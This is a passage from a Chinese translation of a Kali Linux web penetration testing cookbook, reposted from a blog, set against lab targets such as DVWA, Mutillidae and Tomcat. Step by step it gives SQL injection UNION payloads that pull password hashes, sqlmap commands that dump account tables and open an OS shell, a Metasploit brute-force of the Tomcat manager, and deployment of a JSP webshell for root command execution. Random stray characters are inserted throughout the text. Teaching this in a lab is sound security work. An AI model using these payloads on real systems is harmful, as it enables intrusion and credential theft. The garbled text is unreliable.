最后瞧栗,一旦我們獲得了有效用戶的會(huì)話 cookie斯稳,我們可以在瀏覽器中替換我們自己的會(huì)話 cookie,之后重新加載頁面來執(zhí)行操作迹恐,就像我們是這個(gè)用戶一樣挣惰。
更多
不僅僅是保存會(huì)話 Cookie 到文件,惡意服務(wù)器也可以使用這些cookie 來向應(yīng)用發(fā)送請(qǐng)求來冒充正常用戶殴边,以便執(zhí)行操作憎茂,例如添加或刪除評(píng)論、上傳圖片或創(chuàng)建新用戶锤岸,甚至是管理員竖幔。
6.7 逐步執(zhí)行基本的 SQL 注入
我們?cè)诘谒恼铝私饬巳绾螜z測(cè) SQL 注入。這個(gè)秘籍中是偷,我們會(huì)利用這個(gè)注入赏枚,并提取數(shù)據(jù)庫的信息。
操作步驟
1.我們已經(jīng)知道了 DVWA 存在SQL 注入的漏洞晓猛。所以我們使用 OWASP Mantra 登錄,之后訪問
http://192.168.56.102/dvwa/vulnerabilities/ sqli/
凡辱。2.在檢測(cè) SQL 注入存在之后戒职,下一步就是查詢,準(zhǔn)確來說就是結(jié)果有多少列透乾。在 ID 框中輸入任何數(shù)字之后點(diǎn)擊
Submit
洪燥。3.現(xiàn)在,打開 HackBar(按下F9)并點(diǎn)擊
Load URL
乳乌。地址欄中的 URL 應(yīng)該出現(xiàn)在 HackBar 內(nèi)捧韵。4.在 HackBar 中,我們將
id
參數(shù)的值替換為1' order by 1 -- '
汉操,并點(diǎn)擊Execute
再来。-
5.我們通過執(zhí)行請(qǐng)求,持續(xù)增加
order
數(shù)字后面的值磷瘤,直到發(fā)生錯(cuò)誤芒篷。這里例子中,它在3
的時(shí)候發(fā)生采缚。
-
6.現(xiàn)在针炉,我們知道了請(qǐng)求由兩列。讓我們嘗試是否能使用 UNION 語句來提取一些信息“獬椋現(xiàn)在將
id
的值設(shè)為1' union select 1,2 -- '
并點(diǎn)擊Excecute
篡帕。
-
7.這意味著我們可以在 UNION 查詢中請(qǐng)求兩個(gè)值殖侵。那么試試 DBMS 的版本和數(shù)據(jù)庫用戶如何呢?將
id
設(shè)為1' union select @@version,current_user() -- '
并點(diǎn)擊Execute
镰烧。
-
8.讓我們查找一些有關(guān)的東西拢军,例如應(yīng)用的用戶。首先拌滋,我們需要定位用戶表朴沿,將
id
設(shè)置為1' union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- '
。
-
9.好的败砂,我們知道了數(shù)據(jù)庫(或Schema)叫做
dvwa
赌渣,我們要查找的表叫做users
。因?yàn)槲覀冎挥袃蓚€(gè)地方來設(shè)置值昌犹,我們需要知道的哪一列對(duì)我們有用坚芜。將id
設(shè)置為1' union select column_name, 1 FROM information_schema.tables WHERE table_name = 'users' -- '
。
-
10.最后斜姥,我們確切知道了要請(qǐng)求什么鸿竖,將
id
設(shè)為1' union select user, password FROM dvwa.users -- '
。
在First name
字段中铸敏,我們得到了應(yīng)用的用戶名缚忧,在Surname
字段匯總,我們得到了每個(gè)用戶的密碼哈希杈笔。我們可以將這些哈希復(fù)制到我呢本文呢減重闪水,并且嘗試使用 John the Ripper 或我們喜歡的密碼破解器來破解。
工作原理
在我們的第一次注入蒙具,1' order by 1 -- '
到1' order by 3 -- '
中球榆,我們使用 SQL 語言的特性,它允許我們通過特定的字段或類禁筏,使用它的編號(hào)來排列結(jié)果持钉。我們用它來產(chǎn)生錯(cuò)誤,于是能夠知道查詢一共有多少列篱昔,便于我們將其用于創(chuàng)建 UNION 查詢每强。
UNION 查詢語句用于連接兩個(gè)擁有相同列數(shù)量的查詢,通過注入這些我們就可以查詢數(shù)據(jù)庫中幾乎所有東西州刽。這個(gè)秘籍中舀射,我們首先檢查了它是否像預(yù)期一樣工作,之后我們將目標(biāo)設(shè)置為users
表怀伦,并設(shè)法獲得它脆烟。
第一步是弄清數(shù)據(jù)庫和表的名稱,我們通過查詢information_schema
數(shù)據(jù)庫來實(shí)現(xiàn)房待,它是MySQL中儲(chǔ)存所有數(shù)據(jù)庫、表和列信息的數(shù)據(jù)庫。
一旦我們知道了數(shù)據(jù)庫和表的名稱柱锹,我們?cè)谶@個(gè)表中查詢所有列,來了解我們需要查找哪一列框冀,它的結(jié)果是user
和password
。
最后敏簿,我們注入查詢來請(qǐng)求dvwa
數(shù)據(jù)庫的users
表中的所有用戶名和密碼明也。
6.8 使用 SQLMap 發(fā)現(xiàn)和利用 SQL 注入
我們已經(jīng)在上一個(gè)秘籍中看到,利用 SQL 注入是個(gè)繁瑣的步驟惯裕。SQLMap 是個(gè)命令行工具温数,包含在 Kali 中,可以幫我們自動(dòng)化檢測(cè)和利用 SQL 注入蜻势。它帶有多種技巧撑刺,并支持多種數(shù)據(jù)庫。
這個(gè)秘籍中握玛,我們會(huì)使用 SQLMap 來檢測(cè)和利用 SQL 注入漏洞够傍,并用它獲得應(yīng)用的用戶名和密碼。
操作步驟
1.訪問
http://192.168.56.102/mutillidae
挠铲。2.在 Mutillidae 的菜單中冕屯,訪問
OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info
。3.嘗試任何用戶名和密碼拂苹,例如
user
和password
之后點(diǎn)擊View Account Details
愕撰。4.登錄會(huì)失敗,但是我們對(duì) URL 更感興趣醋寝。訪問地址欄并將完整的 URL 復(fù)制到剪貼板。
5.現(xiàn)在带迟,打開終端窗口音羞,輸入下列命令:
1 sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=user&password=password&user-info-php-submitbutton=View+Account+Details" -p username --current-user --currentdb
你可以注意到,-u
參數(shù)就是所復(fù)制的 URL 的值仓犬。-p
告訴 SQLMap 我們打算在用戶名參數(shù)中查找注入嗅绰。一旦漏洞被利用,我們想讓它獲得當(dāng)前數(shù)據(jù)庫用戶名和數(shù)據(jù)庫的名稱搀继。我們只打算獲得這兩個(gè)值窘面,因?yàn)槲覀冎幌肱袛噙@個(gè) URL 的username
參數(shù)是否存在 SQL 注入。
6.一旦 SQLMap 檢測(cè)到應(yīng)用所使用的 DBMS叽躯,它會(huì)詢問我們是否跳過檢測(cè)其它 DBMS 的步驟财边,以及是否打算包含所有特定系統(tǒng)的測(cè)試。即使它們?cè)诋?dāng)前的配置等級(jí)和風(fēng)險(xiǎn)之外点骑。這里酣难,我們回答
Ues
來跳過其它系統(tǒng)谍夭,以及No
來包含所有測(cè)試。-
7.一旦我們指定的參數(shù)中發(fā)現(xiàn)了漏洞憨募,SQLMap 會(huì)詢問我們是否打算測(cè)試其它參數(shù)紧索,我們回答
No
,之后觀察結(jié)果:
.8如果我們打開獲得用戶名和密碼菜谣,類似于我們?cè)谏弦粋€(gè)秘籍那樣珠漂,我們需要知道含有這些信息的表名稱。在終端中執(zhí)行下列代碼:
1 sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp --tables
SQLMap 會(huì)保存所執(zhí)行的注入日志尾膊,所以第二次攻擊會(huì)花費(fèi)更少的時(shí)間媳危。你可以看到,我們指定了要提取信息(nowasp)的數(shù)據(jù)庫眯停,并告訴 SQLMap 我們想獲取這個(gè)數(shù)據(jù)庫的表名稱列表济舆。
- 9.
accounts
表使含有我們想要的信息的表之一。讓我們轉(zhuǎn)儲(chǔ)內(nèi)容:
1 sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp -T accounts --dump
我們現(xiàn)在擁有完整的用戶表莺债,并且我們可以看到滋觉,這里密碼并沒有加密,所以我們可以直接使用它們齐邦。
工作原理
SQLMap 會(huì)使用 SQL 注入字符串椎侠,對(duì)給定 URL 和數(shù)據(jù)的輸入進(jìn)行模糊測(cè)試,或者只針對(duì)-p
選項(xiàng)中的特定目標(biāo)措拇,并且解釋其響應(yīng)來發(fā)現(xiàn)是否存在漏洞我纪。不要模糊測(cè)試所有輸入,最好使用 SQLMap 來利用我們已知存在的注入丐吓,并始終嘗試縮小搜索過程浅悉,通過提供所有可用的信息,例如漏洞參數(shù)券犁、DBMS 類型术健,以及其它。在所有可能性下尋找注入會(huì)花費(fèi)大量時(shí)間粘衬,并在網(wǎng)絡(luò)中產(chǎn)生非常大的流量荞估。
這個(gè)秘籍中,我們已經(jīng)知道了用戶名參數(shù)存在注入漏洞(因?yàn)槲覀兪褂昧?Mutillidae 的注入測(cè)試頁面)稚新。在第一個(gè)攻擊中勘伺,我們只希望確認(rèn)注入是否存在,并詢問一些非彻由荆基本的信息:用戶名(--curent-user
)和數(shù)據(jù)庫名稱(--current-db
)飞醉。
在第二個(gè)攻擊中,我們使用-D
選項(xiàng)屯阀,以及前一次攻擊所獲得的名稱冒掌,指定希望查詢的數(shù)據(jù)庫噪裕,我們也使用--tables
詢問了所包含的表名稱。
知道我們希望獲得哪個(gè)表(-T accounts
)之后股毫,我們告訴 SQLMap 使用--dump
轉(zhuǎn)儲(chǔ)它的內(nèi)容膳音。
更多
SQLMap 也能夠注入 POST 參數(shù)中的輸入變量。我們只需要添加--data
選項(xiàng)并附帶 POST 數(shù)據(jù)铃诬,例如:
1 --data "username=test&password=test"
有時(shí)候祭陷,我們需要在一些應(yīng)用中獲得身份驗(yàn)證,以便能夠訪問應(yīng)用的漏洞 URL趣席。如果是這樣兵志,我們可以傳遞有效的會(huì)話 Cookie給 SQLMap, 使用--cookie
選項(xiàng):
1 --cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37"
這在測(cè)試Cookie值的注入時(shí)也非常有用宣肚。
另一個(gè)有趣的特性是想罕,使用--sql-shell
選項(xiàng),它可以為我們提供 SQL shell霉涨,其中我們可以執(zhí)行 SQL 查詢按价,就像我們直接連接到數(shù)據(jù)庫那樣◇仙或更有趣的是楼镐,我們可以使用--osshell
在數(shù)據(jù)庫服務(wù)器中執(zhí)行系統(tǒng)命令(在注入 MSSQL 服務(wù)器時(shí)特別有用)。
為了了解 SQLMap 擁有的所有選項(xiàng)和特性往枷,你可以執(zhí)行:
1 sqlmap --help
另見
Kali 包含了用于檢測(cè)和利用 SQL 注入漏洞的其它工具框产,它們能夠用于代替或配合 SQLMap:
- sqlninja:非常流行的工具,為利用 MSSQL 服務(wù)器而設(shè)計(jì)错洁。
- Bbqsql:Python 編寫的 SQL 盲注框架秉宿。
- jsql:基于 Java 的工具,帶有完全自動(dòng)化的 GUI屯碴,我們只需要輸入 URL 并按下按鈕描睦。
- Metasploit:它包含不同 DBMS 的多種 SQL 注入模塊。
6.9 使用 Metasploit 攻擊 Tomcat 的密碼
Apache Tomcat窿锉,是世界上最廣泛使用的Java Web服務(wù)器之一。帶有默認(rèn)配置的 Tomcat 服務(wù)器非常容易發(fā)現(xiàn)膝舅。發(fā)現(xiàn)暴露 Web 應(yīng)用管理器的服務(wù)器也非常容易嗡载,它是一個(gè)應(yīng)用,允許管理員啟動(dòng)仍稀、停止洼滚、添加和刪除服務(wù)器中的應(yīng)用。
這個(gè)秘籍中技潘,我們會(huì)使用 Metasploit 模塊來執(zhí)行 Tomcat 服務(wù)器上的字典攻擊來獲得管理器應(yīng)用的訪問遥巴。
準(zhǔn)備
在我們開始使用 Metasploit 之前千康,我們需要在 root 終端中開啟數(shù)據(jù)庫服務(wù):
1 service postgresql start
操作步驟
- 1.啟動(dòng) Metasploit 的控制臺(tái)。
1 msfconsole
- 2.啟動(dòng)之后铲掐,我們需要加載合適的模塊拾弃,在
msf>
提示符之后鍵入下列代碼:
1 use auxiliary/scanner/http/tomcat_mgr_login
- 3.我們可能打算查看它使用什么參數(shù):
1 show options
- 4.現(xiàn)在,我們?cè)O(shè)置目標(biāo)主機(jī):
1 set rhosts 192.168.56.102
- 5.為了使它更快摆霉,但是不要太快豪椿,我們?cè)黾泳€程數(shù):
set threads 5
- 6.同時(shí),我們不希望讓我們的服務(wù)器由于太多請(qǐng)求而崩潰携栋,所以我們降低爆破的速度:
1 set bruteforce_speed 3
- 7.剩余參數(shù)剛好適用于我們的情況搭盾,讓我們執(zhí)行攻擊:
1 run
在一些嘗試中失敗之后,我們發(fā)現(xiàn)了有效的密碼婉支,它使用
[+]
標(biāo)記鸯隅。工作原理
通常 Tomcat 使用 TCP 8080,它的管理器應(yīng)用位于/manager/html
中向挖。這個(gè)應(yīng)用使用基本的 HTTP 驗(yàn)證蝌以。我們剛剛使用的 Metasploit 輔助模塊(tomcat_mgr_login
)有一些值得提及的配置項(xiàng):
-
BLANK_PASSWORDS
:對(duì)每個(gè)嘗試的用戶添加空密碼測(cè)試。 -
PASSWORD
:如果我們打算測(cè)試多個(gè)用戶的單一密碼户誓,或者添加列表中沒有包含的項(xiàng)目饼灿,這就很實(shí)用。 -
PASS_FILE
:用于測(cè)試的密碼列表帝美。 -
Proxies
:如果我們需要通過代理來訪問我們的目標(biāo)碍彭,或者避免檢測(cè),就用這個(gè)選項(xiàng)悼潭。 -
RHOSTS
:?jiǎn)蝹€(gè)主機(jī)庇忌,或多個(gè)(使用空格分隔),或者我們想要測(cè)試的主機(jī)列表文件(/path/to/file/with/hosts
)舰褪。 -
RPORT
:Tomcat 所使用的 TCP 端口皆疹。 -
STOP_ON_SUCCESS
:發(fā)現(xiàn)有效密碼之后停止嘗試。 -
TARGERURI
:主機(jī)中管理器應(yīng)用的位置占拍。 -
USERNAME
指定特殊的用戶名來測(cè)試略就,它可以被單獨(dú)測(cè)試,或者添加到定義在USER_FILE
的列表中晃酒。 -
USER_PASS_FILE
:包含要被測(cè)試的“用戶名 密碼”組合的文件表牢。 -
USER_AS_PASS
:將每個(gè)列表中的用戶名作為密碼嘗試。
另見
這個(gè)攻擊也可以由 Hydra 執(zhí)行贝次,使用http-head
作為服務(wù)崔兴,-L
選項(xiàng)來加載用戶列表,-P
選項(xiàng)來加載密碼。
6.10 使用 Tomcat 管理器來執(zhí)行代碼
上一個(gè)秘籍中敲茄,我們獲得了 Tomcat 管理器的身份認(rèn)證位谋,并提到了它可以讓我們?cè)诜?wù)器中執(zhí)行代碼。這個(gè)秘籍中堰燎,我們會(huì)使用它來登錄管理器并上傳新的應(yīng)用掏父,這允許我們?cè)诜?wù)器中執(zhí)行操作系統(tǒng)命令。
操作步驟
1.訪問
http://192.168.56.102:8080/manager/html
爽待。-
2.被詢問用戶名和密碼時(shí)损同,使用上一個(gè)秘籍中獲得的:
root
和owaspbwa
。
3.一旦進(jìn)入了管理器鸟款,尋找
WAR file to deploy
并點(diǎn)擊Browse
按鈕膏燃。-
4.Kali 在
/usr/share/laudanum
包含了一些 webshall,在這里瀏覽它們并選擇文件/usr/share/laudanum/jsp/cmd.war
何什。
-
5.加載之后點(diǎn)擊
Deploy
组哩。
-
6.確保存在新的叫做
cmd
的應(yīng)用。
7.讓我們?cè)囈辉嚧υL問
http://192.168.56.102:8080/cmd/cmd.jsp
伶贰。-
.8在文本框中嘗試命令,例如
ifconfig
:
-
9.我們可以看到罐栈,我們可以執(zhí)行命令黍衙,但是為了弄清楚我們擁有什么用戶和什么權(quán)限,嘗試
whoami
命令:
我們可以看到荠诬,Tomcat 在這臺(tái)服務(wù)器中運(yùn)行在 root 權(quán)限下琅翻。這意味著我們這里擁有它的全部控制權(quán),并且能夠執(zhí)行任何操作柑贞,例如創(chuàng)建或刪除用戶方椎,安裝軟件,配置操作系統(tǒng)選項(xiàng)钧嘶,以及其它棠众。
工作原理
一旦我們獲得了 Tomcat 管理器的身份認(rèn)證,攻擊過程就相當(dāng)直接了有决。我們僅僅需要足以讓我們上傳它的應(yīng)用闸拿。Laudanum 默認(rèn)包含在 Kali 中,是多種語言和類型的 webshell 的集合书幕,包括 PHP新荤、ASP、 ASP.NET 和 JSP按咒。對(duì)滲透測(cè)試者來說迟隅,什么比 webshell 更有用呢?
Tomcat 能夠接受以 WAR(Web 應(yīng)用歸檔)格式打包的Java Web 應(yīng)用并將其部署到服務(wù)器上励七。我們剛剛使用了這一特性來上傳 Laudanum 中的 webshell智袭。在它上傳和部署之后,我們?yōu)g覽它并且通過執(zhí)行系統(tǒng)命令掠抬,我們發(fā)現(xiàn)我們擁有這個(gè)系統(tǒng)的 root 訪問吼野。
版權(quán)聲明:本文轉(zhuǎn)載自wizardforcel的專欄,如有侵權(quán)两波,請(qǐng)與本人聯(lián)系瞳步。
專欄鏈接:http://blog.csdn.net/wizardforcel
原文鏈接:http://blog.csdn.net/wizardforcel/article/details/52840214